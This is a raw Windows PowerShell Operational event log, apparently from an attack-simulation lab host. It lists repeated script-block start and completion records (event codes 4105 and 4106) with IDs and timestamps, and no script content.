ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024514
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024513
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024512
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024511
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024510
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024509
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024508
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024507
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024506
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024505
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024504
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024503
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024502
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024501
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024500
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024499
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024498
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024497
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024496
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024495
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024494
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024493
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024492
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024491
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024490
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024489
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024488
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024487
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024486
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024485
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024484
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024483
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024482
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024481
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024480
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024479
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024478
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024477
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024476
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024475
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024474
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024473
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024472
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024471
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024470
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024469
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024468
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024467
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024466
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024465
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024464
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024463
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024462
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024461
Keywords=None
